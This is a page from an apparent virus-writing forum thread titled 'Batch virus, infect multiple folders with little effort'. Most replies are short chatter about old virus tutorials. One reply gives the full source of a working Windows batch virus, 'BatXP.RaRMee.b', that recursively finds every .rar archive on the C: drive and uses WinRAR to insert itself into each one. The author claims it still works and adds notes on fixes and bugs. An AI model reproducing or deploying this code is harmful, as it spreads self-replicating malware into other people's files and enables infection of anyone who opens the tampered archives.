Re: Batch virus, infect multiple folders with little effort

Yeniaul wrote:

At least it isn't Anonymousguy-level shitty...
Thanks!

I tend to stay far away from his post

Thumbs up Thumbs down

Re: Batch virus, infect multiple folders with little effort

slek wrote:

come to think of it this is where I began learning perl many years ago from snakebytes tutorials and eventually built up the courage to make my first perly virus which I'm now embarresed by: http://vxheaven.org/doomriderz/projects/StarPerl.txt

I used to love reading your tutorials, they were simple and easier to understand than the others.

Thumbs up Thumbs down

28 (edited by alcopaul 2017-01-09 19:43:02)

Re: Batch virus, infect multiple folders with little effort

:: start virus
::BatXP.RaRMee.b/alcopaul/b8::
@echo off
assoc .rar | cls
if errorlevel==1 goto x
ftype winrar>b.8 | cls
find /i "c:\program files\winrar" b.8 | cls
if errorlevel==1 goto x
for /r c:\ %%b in (*.rar) do "c:\program files\winrar\rar.exe" u "%%b" %0
:x
del b.8
exit cmd.exe

:: end virus


i wrote this in 2011. goes from roots to tips. (still works just run as administrator)

notes:

::BatXP.RarMee.b
::alcopaul/brigada ocho
::march 26, 2011

::issues addressed:
::1.) Long filenames with long directory names with space are now handled successfully
::2.) rar.exe doesn't handle zip files anymore (rar version 4.0). *.zip files excluded.
::
::inherent bugs:
::1.) waits for user input if rar file has a password. didn't use -p- switch ("Do not query password")
:: coz it also inserts a passworded (password:"-") batch file inside the rar file.
::
:: tested in windows xp sp3. must be executed by double clicking.
::

[YHo]
@thealcopaul in Twitter

Thumbs up Thumbs down